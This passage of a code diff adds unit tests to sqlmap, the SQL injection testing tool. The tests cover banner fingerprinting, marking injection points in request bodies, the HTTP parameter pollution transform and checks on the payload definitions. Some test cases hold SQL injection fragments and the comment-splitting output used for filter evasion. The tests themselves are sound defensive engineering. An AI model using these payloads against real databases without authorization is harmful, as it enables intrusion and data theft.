kb.bannerFp = {} + bannerParser("5.0.51a-3ubuntu5.4") + # the generic signatures classify the OS/distrib from the banner tail + self.assertTrue(kb.bannerFp, msg="no fingerprint extracted") + self.assertIn("Ubuntu", kb.bannerFp.get("distrib", set())) + + def test_oracle_banner_populates_version(self): + set_dbms(DBMS.ORACLE) + kb.bannerFp = {} + bannerParser("Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production") + self.assertIn("dbmsVersion", kb.bannerFp) + self.assertTrue(kb.bannerFp["dbmsVersion"].startswith("11.2.0")) + + def test_pgsql_banner_populates_version(self): + set_dbms(DBMS.PGSQL) + kb.bannerFp = {} + # the shipped PostgreSQL signature 'PostgreSQL\s+([\w\.]+)' captures the version + bannerParser("PostgreSQL 9.5.3 on x86_64-pc-linux-gnu") + self.assertIn("dbmsVersion", kb.bannerFp) + self.assertEqual(kb.bannerFp["dbmsVersion"], "9.5.3") + + def test_mssql_banner_populates_release_and_version(self): + set_dbms(DBMS.MSSQL) + kb.bannerFp = {} + # a real SQL Server 2008 RTM build present in data/xml/banner/mssql.xml, + # so the MSSQLBannerHandler resolves both the release year and the version + bannerParser("Microsoft SQL Server 2008 - 10.00.4311.00") + self.assertEqual(kb.bannerFp.get("dbmsRelease"), "2008") + self.assertEqual(kb.bannerFp.get("dbmsVersion"), "10.00.4311") + + +class TestMSSQLBannerHandler(unittest.TestCase): + def test_version_alt_built_for_dotzero_form(self): + info = {} + h = MSSQLBannerHandler("Microsoft SQL Server 10.00.1600.22", info) + h.startElement("version", {}) + h.characters("10.00.1600") + h.endElement("version") + # endElement('version') derives the ".0..0" alternate form + self.assertEqual(h._versionAlt, "10.0.1600.0") + + +class _Attrs(dict): + """Minimal SAX-attrs stand-in (supports .get).""" + + +class TestMSSQLBannerHandlerServicePack(unittest.TestCase): + def test_servicepack_strips_spaces(self): + info = {} + h = MSSQLBannerHandler("banner", info) + h.startElement("servicepack", {}) + h.characters(" 2 ") + h.endElement("servicepack") + self.assertEqual(h._servicePack, "2") + + +class TestConfigFileParser(unittest.TestCase): + def _write_cfg(self, body): + fd, path = tempfile.mkstemp(suffix=".ini", prefix="sqlmapcfg_") + os.close(fd) + with open(path, "w") as f: + f.write(body) + return path + + def test_parses_target_and_typed_options(self): + from lib.parse.configfile import configFileParser + path = self._write_cfg( + "[Target]\n" + "url = http://config.invalid/?id=1\n" + "[Optimization]\n" + "threads = 4\n" + "[Injection]\n" + "tamper = space2comment\n" + ) + saved = {k: conf.get(k) for k in ("url", "threads", "tamper")} + try: + configFileParser(path) + self.assertEqual(conf.url, "http://config.invalid/?id=1") + self.assertEqual(conf.threads, 4) # INTEGER datatype coerced + self.assertEqual(conf.tamper, "space2comment") + finally: + for k, v in saved.items(): + conf[k] = v + os.remove(path) + + def test_missing_target_section_raises(self): + from lib.parse.configfile import configFileParser + from lib.core.exception import SqlmapMissingMandatoryOptionException + path = self._write_cfg("[Request]\nthreads = 1\n") + try: + self.assertRaises(SqlmapMissingMandatoryOptionException, + configFileParser, path) + finally: + os.remove(path) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py new file mode 100644 index 00000000000..e99c608d523 --- /dev/null +++ b/tests/test_payload_marking.py @@ -0,0 +1,276 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Request-body injection-point handling: + - recognition regexes (REAL, imported from settings) classify JSON/JSON_LIKE/XML/PLAIN + - JSON/XML injection-point marking preserves every value (mirrors target.py) + - HPP transform reconstructs the original SQL after ASP comma-join +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, save_attrs, restore_attrs +bootstrap() + +from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REGEX, + XML_RECOGNITION_REGEX, PAYLOAD_DELIMITER, + CUSTOM_INJECTION_MARK_CHAR) + +# The real source marks injection points with kb.customInjectionMark, which defaults to +# CUSTOM_INJECTION_MARK_CHAR ('*'). Tie the test's mark char to the source constant so a +# change there is reflected here too. +MARK = CUSTOM_INJECTION_MARK_CHAR + +# the _drive_* helpers set sticky conf/kb flags (notably conf.hpp, which changes queryPage +# behaviour) without restoring them; snapshot/restore at the module boundary so they can't leak +_PM_CONF_KEYS = ("hpp", "skipUrlEncode", "method", "paramDel", "url", "data", "parameters", "paramDict") +_PM_KB_KEYS = ("tamperFunctions", "postHint", "customInjectionMark", "postUrlEncode", "postSpaceToPlus", "processUserMarks") +_pm_saved = {} + +def setUpModule(): + from lib.core.data import conf, kb + for k in _PM_CONF_KEYS: + _pm_saved[("conf", k)] = conf.get(k) + for k in _PM_KB_KEYS: + _pm_saved[("kb", k)] = kb.get(k) + +def tearDownModule(): + from lib.core.data import conf, kb + for (scope, k), v in _pm_saved.items(): + (conf if scope == "conf" else kb)[k] = v + + +def classify(d): + if re.search(JSON_RECOGNITION_REGEX, d): + return "JSON" + if re.search(JSON_LIKE_RECOGNITION_REGEX, d): + return "JSON_LIKE" + if re.search(XML_RECOGNITION_REGEX, d): + return "XML" + return "PLAIN" + + +def _drive_request_marking(body): + """Run sqlmap's REAL request-body injection-point marking on `body`. + + Approach (a): drive the genuine code path in lib.core.target._setRequestParams() + (the same function the CLI uses) with a minimal conf/kb state, a POST body, and + readInput auto-answering 'Y'. The marking regexes (target.py:159-215) run against + `conf.data`; the fully-marked string is the snapshot of conf.data carrying the most + injection marks, captured BEFORE the later strip (target.py:~348) removes them. + + Returns (fully_marked_data, kb.postHint). A regression in the source marking regexes + changes this output and breaks the asserting tests. + """ + import lib.core.target as target + from lib.core.data import conf, kb + from lib.core.enums import HTTPMETHOD + + snapshots = [] + base = type(conf) + orig_setitem = base.__setitem__ + + def _record(self, key, value): + if key == "data" and isinstance(value, str): + snapshots.append(value) + orig_setitem(self, key, value) + + orig_readInput = target.readInput + target.readInput = lambda *a, **k: 'Y' + base.__setitem__ = _record + try: + conf.parameters = {} + conf.paramDict = {} + conf.direct = False + conf.method = HTTPMETHOD.POST + conf.url = "http://test.invalid/" + conf.cookie = None + conf.httpHeaders = [] + conf.testParameter = None + conf.forms = None + conf.crawlDepth = None + kb.processUserMarks = None + kb.postHint = None + kb.customInjectionMark = MARK + kb.testOnlyCustom = False + conf.data = body + target._setRequestParams() + postHint = kb.postHint + finally: + base.__setitem__ = orig_setitem + target.readInput = orig_readInput + + fully_marked = max(snapshots, key=lambda s: s.count(MARK)) + return fully_marked, postHint + + +class TestRecognitionRegexes(unittest.TestCase): + CASES = [ + ('{"id":1}', "JSON"), + ('{"a":"b"}', "JSON"), + ('{"n":1,"m":"s"}', "JSON"), + ('[{"id":1}]', "JSON"), + ('[{"id":1},{"id":2}]', "JSON"), + ("{'a':'b'}", "JSON_LIKE"), + ("1", "XML"), + ("1", "XML"), + ("v", "XML"), + ("id=1&x=2", "PLAIN"), + ("just text", "PLAIN"), + ] + + def test_classification(self): + for body, expected in self.CASES: + self.assertEqual(classify(body), expected, msg="classify(%r)" % body) + + +class TestJsonMarking(unittest.TestCase): + # Approach (a): exercises the REAL JSON injection-point marking in + # lib.core.target._setRequestParams() (target.py:159-162) via _drive_request_marking(). + # No source logic is copied into the test; a regression in the source regexes fails it. + @staticmethod + def mark(data): + marked, postHint = _drive_request_marking(data) + assert postHint == "JSON", "expected JSON postHint, got %r for %r" % (postHint, data) + return marked + + CASES = [ + ('{"id":1}', '{"id":1*}'), + ('{"name":"abc"}', '{"name":"abc*"}'), + ('{"a":{"b":"1"}}', '{"a":{"b":"1*"}}'), + ('{"empty":""}', '{"empty":"*"}'), + ('{"b":true,"n":null}', '{"b":true*,"n":null*}'), + ('{"a":"x","b":"y"}', '{"a":"x*","b":"y*"}'), + ('{"url":"http://h:8080/p"}', '{"url":"http://h:8080/p*"}'), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="mark(%r)" % inp) + + def test_value_preserved_property(self): + # marking must not delete/garble the original value characters + for inp, _ in self.CASES: + out = self.mark(inp) + self.assertEqual(out.replace(MARK, ""), inp, msg="marking altered %r" % inp) + + +class TestXmlMarking(unittest.TestCase): + # Approach (a): exercises the REAL SOAP/XML injection-point marking in + # lib.core.target._setRequestParams() (target.py:215) via _drive_request_marking(). + # A regression in the source XML regex fails this test. + def mark(self, data): + from lib.core.enums import POST_HINT + marked, postHint = _drive_request_marking(data) + self.assertIn(postHint, (POST_HINT.XML, POST_HINT.SOAP), + msg="expected XML/SOAP postHint, got %r for %r" % (postHint, data)) + return marked + + CASES = [ + ("x", "x*"), + # attribute values are now marked too, not just element text (issue #5993) + ('x', 'x*'), + ("bob5", "bob*5*"), + ("v", "v*"), + ("1", "1*"), + # multiple attributes and single-quoted attribute values + ('y', 'y*'), + ("y", "y*"), + # XML declaration and namespace declarations are left intact (not injection points) + ('y', 'y*'), + ('y', 'y*'), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="xmlmark(%r)" % inp) + + +def _drive_hpp(payload, name="id"): + """Run sqlmap's REAL HTTP-parameter-pollution payload reconstruction on `payload`. + + Approach (a): drive the genuine HPP block inside lib.request.connect.Connect.queryPage() + (connect.py:1168-1192) -- the same method the engine uses to issue every request -- with + conf.hpp enabled and a GET value carrying the payload between PAYLOAD_DELIMITERs. + conf.skipUrlEncode is set so the unencoded splitter branch runs (matching the pinned + expected strings). queryPage's network call (agent.removePayloadDelimiters, invoked + immediately AFTER the HPP block) is hijacked to capture the transformed `value` and abort + before any I/O; the payload is then extracted from between the delimiters. A regression in + the source HPP logic changes this output and breaks the asserting tests. + """ + from lib.core.data import conf, kb + from lib.core.enums import PLACE + from lib.core.agent import agent + from lib.request.connect import Connect + + class _Sentinel(Exception): + pass + + captured = {} + + def _capture(value): + captured["value"] = value + raise _Sentinel() + + saved_remove = save_attrs(agent, "removePayloadDelimiters") + agent.removePayloadDelimiters = _capture + try: + conf.direct = False + conf.hpp = True + conf.method = "GET" + conf.paramDel = None + conf.skipUrlEncode = True + conf.url = "http://test.invalid/page.asp?%s=1" % name + kb.postUrlEncode = False + kb.tamperFunctions = [] + kb.postSpaceToPlus = False + value = "%s=%s%s%s" % (name, PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER) + try: + _qp = getattr(Connect.queryPage, "__func__", Connect.queryPage) + _qp(value=value, place=PLACE.GET, disableTampering=True) + except _Sentinel: + pass + finally: + restore_attrs(saved_remove) + + _ = re.escape(PAYLOAD_DELIMITER) + return re.search(r"(?s)%s(?P.*?)%s" % (_, _), captured["value"]).group("result") + + +class TestHppReconstruction(unittest.TestCase): + # Approach (a): drives the REAL HPP reconstruction (connect.py:1168-1192) via _drive_hpp(). + + def hpp(self, payload, name="id"): + return _drive_hpp(payload, name) + + # Expected outputs hand-derived from the HPP rule: each inter-token gap becomes the exact + # splitter "/*&=*/". We pin the produced string rather than "reconstruct the SQL", + # because reconstruction depends on the SQL parser treating /* */ as a token separator + # (1/*,*/AND -> "1 AND"), which a string compare can't model. (companion structural test: + # test_balanced_comments verifies the /* */ are balanced independent of these literals.) + CASES = [ + ("1", "1"), + ("1 AND 2=2", "1/*&id=*/AND/*&id=*/2=2"), + ("1 AND 'a'='a'", "1/*&id=*/AND/*&id=*/'a'='a'"), + ] + + def test_exact_outputs(self): + for payload, expected in self.CASES: + self.assertEqual(self.hpp(payload), expected, msg="hpp(%r)" % payload) + + def test_balanced_comments(self): + # every /* must have a matching */ (no dangling comment bridge) + for payload in ["1 UNION SELECT a,b", "1 AND 2=2 OR 3=3", "x y z"]: + out = self.hpp(payload) + self.assertEqual(out.count("/*"), out.count("*/"), msg="unbalanced comments for %r" % payload) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_payloads_structure.py b/tests/test_payloads_structure.py new file mode 100644 index 00000000000..16556a5a161 --- /dev/null +++ b/tests/test_payloads_structure.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the injection payload/boundary definitions +(data/xml/payloads/*.xml -> conf.tests, data/xml/boundaries.xml -> conf.boundaries). + +These XML files ARE the detection engine: every test/boundary loaded here is +something sqlmap will fire at a target. The fields are pure data, so the right +tests are shape/range invariants - a malformed level, an unknown technique, a +duplicate title, or a test missing its request payload would silently break or +skew detection. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.payloads import loadBoundaries, loadPayloads +from lib.core.data import conf +from lib.core.enums import PAYLOAD +from lib.core.common import getPublicTypeMembers + +# load once for the module +loadBoundaries() +loadPayloads() + +TECHNIQUES = set(v for _, v in getPublicTypeMembers(PAYLOAD.TECHNIQUE)) # {1..6} +WHERES = set(v for _, v in getPublicTypeMembers(PAYLOAD.WHERE)) # {1,2,3} + + +class TestLoaded(unittest.TestCase): + # floors well below the current counts (~340 tests, ~54 boundaries) - high enough to catch a + # truncated/partially-loaded XML set (not just "> 0"), low enough to survive normal additions + def test_payloads_loaded(self): + self.assertGreaterEqual(len(conf.tests), 200, msg="only %d tests loaded" % len(conf.tests)) + + def test_boundaries_loaded(self): + self.assertGreaterEqual(len(conf.boundaries), 30, msg="only %d boundaries loaded" % len(conf.boundaries)) + + +class TestTestEntries(unittest.TestCase): + def setUp(self): + # guard against vacuous passes: if payloads failed to load, every loop below + # would iterate zero times and pass silently + self.assertTrue(conf.tests, "conf.tests is empty - payloads failed to load") + + def test_required_fields_present(self): + for t in conf.tests: + for field in ("title", "stype", "clause", "where", "level", "risk", "request", "response"): + self.assertIn(field, t, msg="test %r missing field %r" % (t.get("title"), field)) + + def test_title_non_empty(self): + for t in conf.tests: + self.assertTrue(t.title and t.title.strip(), msg="empty test title") + + def test_titles_unique(self): + titles = [t.title for t in conf.tests] + self.assertEqual(len(titles), len(set(titles)), msg="duplicate test titles exist") + + def test_stype_is_known_technique(self): + for t in conf.tests: + self.assertIn(t.stype, TECHNIQUES, msg="test %r has unknown stype %r" % (t.title, t.stype)) + + def test_level_and_risk_in_range(self): + for t in conf.tests: + self.assertIn(t.level, (1, 2, 3, 4, 5), msg="test %r bad level %r" % (t.title, t.level)) + self.assertIn(t.risk, (1, 2, 3), msg="test %r bad risk %r" % (t.title, t.risk)) + + def test_request_has_payload(self): + for t in conf.tests: + self.assertIn("payload", t.request, msg="test %r request has no payload" % t.title) + + def test_where_values_valid(self): + for t in conf.tests: + for w in t.where: + self.assertIn(w, WHERES, msg="test %r has bad where %r" % (t.title, w)) + + +class TestBoundaryEntries(unittest.TestCase): + def setUp(self): + self.assertTrue(conf.boundaries, "conf.boundaries is empty - boundaries failed to load") + + def test_required_fields_present(self): + for b in conf.boundaries: + for field in ("level", "clause", "where", "ptype"): + self.assertIn(field, b, msg="boundary missing field %r" % field) + + def test_level_in_range(self): + for b in conf.boundaries: + self.assertIn(b.level, (1, 2, 3, 4, 5), msg="boundary bad level %r" % b.level) + + def test_where_values_valid(self): + for b in conf.boundaries: + for w in b.where: + self.assertIn(w, WHERES, msg="boundary bad where %r" % w) + + def test_clause_is_list_like(self): + for b in conf.boundaries: + self.assertTrue(isinstance(b.clause, (list, tuple)), msg="boundary clause not list-like") + + def test_ptype_in_range(self): + # ptype feeds the recorded injection identity (report label, (place,parameter,ptype) dedup + # key, session hash) - an out-of-range value silently corrupts all three + for b in conf.boundaries: + self.assertIn(b.ptype, (1, 2, 3, 4, 5, 6, 7, 8), msg="boundary %r bad ptype %r" % (b.prefix, b.ptype)) + + def test_ptype_matches_prefix_quote(self): + # The lexical quote a prefix opens with must agree with ptype (else the injection is recorded + # under the wrong type - e.g. a backtick identifier breakout mislabelled numeric). Only the + # unambiguous cases are asserted: backtick is ALWAYS an identifier delimiter (ptype 6), and a + # leading single quote is ALWAYS a single-quoted string (ptype 2/3). Double quote is left out + # on purpose - it is a string literal (4/5) under some DBMS and an ANSI identifier (6) under + # others, so it is genuinely ambiguous from the prefix alone. + for b in conf.boundaries: + prefix = (b.prefix or "").lstrip() + if prefix.startswith('`'): + self.assertEqual(b.ptype, 6, msg="backtick prefix %r must be identifier ptype 6, got %r" % (b.prefix, b.ptype)) + elif prefix.startswith("'"): + self.assertIn(b.ptype, (2, 3), msg="single-quote prefix %r must be ptype 2/3, got %r" % (b.prefix, b.ptype)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_profiling.py b/tests/test_profiling.py new file mode 100644 index 00000000000..e1f6c098be9 --- /dev/null +++ b/tests/test_profiling.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Switch '--profile' (lib/core/profiling.py). The profiled statement must resolve +'start' from an explicit namespace: on pip installs __main__ is the console +script, not sqlmap.py, so relying on it raised NameError (#6096). This test runs +under a unittest __main__ that has no 'start' either, so it covers that case. +""" + +import os +import pstats +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.controller.controller as controller +from lib.core.profiling import profile + + +class TestProfiling(unittest.TestCase): + def setUp(self): + self._saved = controller.start + self._dir = tempfile.mkdtemp() + self._out = os.path.join(self._dir, "sqlmap_profile.raw") + + def tearDown(self): + controller.start = self._saved + shutil.rmtree(self._dir, ignore_errors=True) + + def test_profile_does_not_need_start_in_main(self): + calls = [] + controller.start = lambda *args, **kwargs: calls.append(True) + + profile(self._out) + + self.assertEqual(calls, [True], msg="start() was never run under the profiler") + self.assertTrue(os.path.exists(self._out), msg="no raw profile written") + self.assertTrue(pstats.Stats(self._out).stats, msg="raw profile holds no stats") + + def test_profile_overwrites_a_stale_output_file(self): + controller.start = lambda *args, **kwargs: None + + with open(self._out, "wb") as f: + f.write(b"not a pstats file") + + profile(self._out) + self.assertTrue(pstats.Stats(self._out).stats) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_progress.py b/tests/test_progress.py new file mode 100644 index 00000000000..5690763d1f5 --- /dev/null +++ b/tests/test_progress.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The textual progress bar (lib/utils/progress.py) used during multi-item +extraction. Pure rendering/clamping logic plus ETA formatting. +""" + +import os +import re +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.progress as progress_mod +from lib.utils.progress import ProgressBar + + +class TestProgressBar(unittest.TestCase): + def test_initial_is_zero_percent(self): + pb = ProgressBar(0, 100, 78) + self.assertTrue(str(pb).startswith("0%"), msg=str(pb)) + + def test_full_is_hundred_percent(self): + pb = ProgressBar(0, 100, 78) + pb.update(100) + self.assertTrue(str(pb).startswith("100%"), msg=str(pb)) + + def test_half_is_fifty_percent(self): + pb = ProgressBar(0, 100, 78) + pb.update(50) + self.assertIn("50%", str(pb)) + + def test_update_clamps_below_min(self): + pb = ProgressBar(10, 20, 78) + pb.update(-5) + self.assertTrue(str(pb).startswith("0%")) + + def test_update_clamps_above_max(self): + pb = ProgressBar(0, 10, 78) + pb.update(999) + self.assertTrue(str(pb).startswith("100%")) + + def test_convert_seconds(self): + pb = ProgressBar(0, 10, 78) + self.assertEqual(pb._convertSeconds(0), "00:00") + self.assertEqual(pb._convertSeconds(65), "01:05") + self.assertEqual(pb._convertSeconds(600), "10:00") + + def test_progress_draws_eta_after_second_call(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True # draw() only animates on a terminal + try: + pb = ProgressBar(0, 10, 78) + pb.progress(0) # first call only seeds the timer (eta None) + time.sleep(0.01) # let some wall-clock elapse so eta is computable + pb.progress(5) # second call computes and draws a real ETA + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(captured, msg="progress() never wrote to stdout") + last = captured[-1] + # the drawn bar must carry an ETA token with an mm:ss timer (not the ??:?? placeholder) + self.assertIn("(ETA ", last, msg="no ETA token drawn: %r" % last) + self.assertNotIn("??:??", last, msg="ETA was not computed on the second call: %r" % last) + self.assertTrue(re.search(r"\(ETA \d{2}:\d{2}\)", last), + msg="ETA token missing an mm:ss timer: %r" % last) + + def test_eta_available_from_first_completed_item(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 5, 78) + pb._start = pb._lastTime = time.time() - 2.0 # one item took ~2s -> estimate must appear now, at 1/5 + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + last = captured[-1] + self.assertNotIn("??:??", last, msg="no ETA at the first item: %r" % last) + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", last) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(7 <= secs <= 9, msg="ETA not ~8s (2s/item x 4 remaining): %r" % last) # not the 2x-optimistic ~4s + + def test_eta_reflects_remaining_item_count(self): + # at a constant 10s/item pace: 1/3 must estimate the 2 items left (~20s), 2/3 the 1 left (~10s) - + # i.e. (max - done) items, not just the current one. Fresh bars so each is a first (unsmoothed) estimate. + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + + def drawnEta(): + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no ETA drawn: %r" % captured[-1]) + return int(m.group(1)) * 60 + int(m.group(2)) + + try: + a = ProgressBar(0, 3, 78) + a._start = time.time() - 10.0 # 1 done in 10s -> 10s/item, 2 remaining -> ~20s + a.progress(1) + eta1 = drawnEta() + + b = ProgressBar(0, 3, 78) + b._start = time.time() - 20.0 # 2 done in 20s -> 10s/item, 1 remaining -> ~10s + b.progress(2) + eta2 = drawnEta() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(18 <= eta1 <= 22, msg="1/3 should estimate 2 remaining (~20s): %ds" % eta1) + self.assertTrue(8 <= eta2 <= 12, msg="2/3 should estimate 1 remaining (~10s): %ds" % eta2) + + def test_new_estimate_is_eased_not_snapped(self): + # when a fresh estimate is far from the value currently on screen, the drawn ETA must land + # between the two (smoothed), not snap straight to the new target + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb._eta = 8.0 # currently showing ~8s... + pb._etaAt = time.time() + pb._start = time.time() - 2.0 # ...but the fresh target is (2/1)*(10-1) = 18s + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(10 <= secs <= 16, msg="ETA snapped instead of easing between 8 and 18: %ds" % secs) + + def test_tick_counts_down_from_stored_eta(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 100 # a 100s estimate... + pb._etaAt = time.time() - 30 # ...taken 30s ago -> tick() must show ~70s + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no mm:ss ETA drawn: %r" % captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(66 <= secs <= 71, msg="ETA not decremented to ~70s: %r" % captured[-1]) + + def test_tick_clamps_at_zero_when_overdue(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 5 + pb._etaAt = time.time() - 60 # long overdue -> must clamp to 00:00, never negative + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertIn("(ETA 00:00)", captured[-1], msg=captured[-1]) + + def test_no_draw_when_not_tty(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = False # piped/redirected: no animated bar should reach the stream + try: + pb = ProgressBar(0, 10, 78) + for i in range(1, 11): + pb.progress(i) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertEqual(captured, [], msg="progress bar leaked to a non-TTY stream: %r" % captured) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_property.py b/tests/test_property.py new file mode 100644 index 00000000000..3919b50ffaf --- /dev/null +++ b/tests/test_property.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Property/fuzz tests for the pure parsers and transforms. Where the other test +files pin specific examples, these assert INVARIANTS over hundreds of randomized +(but deterministic, cross-version-identical - see _testutils.Rng) inputs, which is +the cheap net for the edge-bug class that example tests miss (commas inside quoted +literals / nested parens, NUL / 0xff / astral code points in codecs, etc.). + +Property families: + - codec/serializer pairs round-trip: decode(encode(x)) == x + - structure transforms preserve their contract (flat/de-arrayized/permutation) + - string transforms hold their stated invariant (ASCII-only, no newlines, ...) + - random helpers respect length / alphabet / range bounds + - splitFields/zeroDepthSearch partition faithfully and never cut inside a group + - a batch of transforms never raise on arbitrary input + +On failure _testutils.for_all prints the exact offending input + its case index so +it reproduces on any interpreter. +""" + +import os +import string +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, for_all, set_dbms, reset_dbms +bootstrap() + +from extra.cloak.cloak import cloak, decloak +from lib.core.common import (escapeJsonValue, filterStringValue, flattenValue, isListLike, normalizeUnicode, + prioritySortColumns, randomInt, randomRange, randomStr, safeSQLIdentificatorNaming, + sanitizeStr, splitFields, unArrayizeValue, unsafeSQLIdentificatorNaming, urldecode, + urlencode, zeroDepthSearch) +from lib.core.convert import (decodeBase64, decodeHex, dejsonize, deserializeValue, encodeBase64, + encodeHex, getBytes, getConsoleLength, getOrds, getText, htmlEscape, htmlUnescape, + jsonize, serializeValue, stdoutEncode) +from lib.core.data import kb +from lib.utils.safe2bin import safecharencode + + +# --- input strategies (draw ONLY through rng: randint / choice / sample / blob) --- + +# deliberately loaded with structural metacharacters + tricky code points +_TEXT = [u"a", u"Z", u"7", u" ", u",", u"'", u'"', u"(", u")", u"\\", u";", + u"\n", u"\t", u"\x00", u"\x7f", u"\xe9", u"\u0107", u"\u4e2d", u"\U0001F600", u" FROM "] + + +def gen_text(rng): + return u"".join(rng.choice(_TEXT) for _ in range(rng.randint(0, 24))) + + +def gen_ascii(rng): + return u"".join(rng.choice(string.printable) for _ in range(rng.randint(0, 20))) + + +def gen_blob(rng): + return rng.blob(rng.randint(0, 32)) + + +def gen_json(rng): + # JSON-safe only: tuples become lists and non-str keys are coerced, so exclude them here + if rng.randint(0, 4) == 0: + return [gen_json(rng) for _ in range(rng.randint(0, 3))] + if rng.randint(0, 4) == 0: + return dict((u"k%d" % j, gen_json(rng)) for j in range(rng.randint(0, 3))) + return rng.choice([0, 1, -1, 2 ** 31, 1.5, -0.25, True, False, None, u"", u"x", u"\u0107", u'a"b,c']) + + +def gen_serializable(rng): + kind = rng.randint(0, 9) + if kind < 5: + return rng.choice([0, -7, 2 ** 40, 3.5, True, False, None, u"\u0107x", b"\x00\xff", u""]) + if kind < 7: + return [gen_serializable(rng) for _ in range(rng.randint(0, 3))] + if kind < 8: + return tuple(gen_serializable(rng) for _ in range(rng.randint(0, 3))) + if kind < 9: + return set(rng.choice([1, 2, 3, u"a", u"b"]) for _ in range(rng.randint(0, 3))) + return dict((u"k%d" % j, gen_serializable(rng)) for j in range(rng.randint(0, 2))) + + +def gen_columns(rng): + return [rng.choice([u"id", u"userid", u"name", u"password", u"a", u"created_id", u"x_id_y", u"data"]) + for _ in range(rng.randint(0, 6))] + + +def gen_ident(rng): + # clean (round-trippable) identifier names: letters/digits/underscore, optional dot/space + chars = string.ascii_letters + string.digits + u"_" + name = u"".join(rng.choice(chars) for _ in range(rng.randint(1, 10))) + if rng.randint(0, 3) == 0: + name += rng.choice([u".col", u" alias", u"_2"]) + return name + + +# well-formed field lists: balanced parens, properly closed/escaped quotes +_TOKENS = [u"foo", u"bar", u"id", u"a b", u"1", u"*", u"max(a)", u"COALESCE(a, b, c)", u"func(x, y)"] +_QUOTED = [u"a,b", u"x, y", u"f(1, 2)", u"o''k", u"plain", u""] + + +def gen_sql_fields(rng): + parts = [] + for _ in range(rng.randint(1, 5)): + t = rng.randint(0, 9) + if t < 5: + parts.append(rng.choice(_TOKENS)) + elif t < 8: + q = rng.choice([u"'", u'"']) + parts.append(q + rng.choice(_QUOTED) + q) + else: + parts.append(u"g(%s, %s)" % (rng.choice(_TOKENS), 